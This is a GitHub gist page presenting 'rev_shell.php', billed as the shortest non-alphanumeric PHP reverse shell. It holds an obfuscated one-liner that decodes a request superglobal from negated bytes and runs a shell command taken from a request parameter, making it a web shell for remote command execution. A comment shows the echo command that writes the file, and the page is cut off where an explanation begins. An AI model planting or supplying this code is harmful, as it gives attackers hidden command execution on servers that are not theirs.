Skip to content

Instantly share code, notes, and snippets.

View andr6's full-sized avatar

Xpwd andr6

  • Planet Earth
View GitHub Profile
@andr6
andr6 / rev_shell.php
Created May 7, 2023 10:34 — forked from 0xSojalSec/rev_shell.php
The shortest non-alphanumeric reverse shell script (19 bytes)
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;
/*
* In terminal:
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
* This is how the code will be produced, \xa0\xb8\xba\xab will be
* treated as constant therefore no " needed. It is also not copyable
* string because of non-ascii characters
*
* Explanation: